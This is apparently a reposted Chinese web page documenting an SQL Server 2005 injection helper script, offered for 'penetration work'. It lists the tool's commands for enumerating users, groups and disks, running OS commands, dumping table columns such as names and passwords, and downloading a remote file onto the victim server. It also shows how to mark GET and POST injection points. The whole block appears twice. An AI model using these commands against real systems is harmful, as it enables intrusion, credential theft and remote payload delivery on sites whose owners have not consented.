Sql2005注入辅助脚本[修改版]
编程学习 2021-07-05 13:02www.dzhlxh.cn编程入门
经过黄瓜修改代码,功能更加强大了,希望能给大家的渗透工作带来方便。
程序说明:
+========== =================== ================ ================ =========== +
+ Made By tr4c3,Modified By 无敌小黄瓜【bk瞬间群】 +
+========== =================== ================ ================ =========== +
--------------
url.txt内容为:
--------------
比如:http://www.google.com/fuck.asp?id=2<sqlinj点>;--
正在注入的是http://www.xxx.com/index.asp?id=1 <sqlinj点>;--
--------------
参数:
--------------
sql2005 info
sql2005 logbackup
sql2005 users
sql2005 localgroups
sql2005 sqlfile
sql2005 disk
sql2005 pubs clean
sql2005 c:\1.txt mm
sql2005 turn on/off
sql2005 c:\ dir
sql2005 ver cmd
sql2005 "select @@version" query
sql2005 http://fuck.av/hacker.gif c:\1.gif download
sql2005 databases
sql2005 pubs tables
sql2005 pubs authors cols
sql2005 pubs authors au_id values
sql2005 pubs authors au_id id name pass vv
+=====================+
url内容 //注意get方式的有个?
http://www.google.com/index.asp?
id=1'
;--
GET
http://www.google.com/index.asp?
id=1'
;--
POST
+========== =================== ================ ================ =========== +
+ Made By tr4c3,Modified By 无敌小黄瓜【bk瞬间群】 +
+========== =================== ================ ================ =========== +
--------------
url.txt内容为:
--------------
比如:http://www.google.com/fuck.asp?id=2<sqlinj点>;--
正在注入的是http://www.xxx.com/index.asp?id=1 <sqlinj点>;--
--------------
参数:
--------------
sql2005 info
sql2005 logbackup
sql2005 users
sql2005 localgroups
sql2005 sqlfile
sql2005 disk
sql2005 pubs clean
sql2005 c:\1.txt mm
sql2005 turn on/off
sql2005 c:\ dir
sql2005 ver cmd
sql2005 "select @@version" query
sql2005 http://fuck.av/hacker.gif c:\1.gif download
sql2005 databases
sql2005 pubs tables
sql2005 pubs authors cols
sql2005 pubs authors au_id values
sql2005 pubs authors au_id id name pass vv
+=====================+
url内容 //注意get方式的有个?
http://www.google.com/index.asp?
id=1'
;--
GET
http://www.google.com/index.asp?
id=1'
;--
POST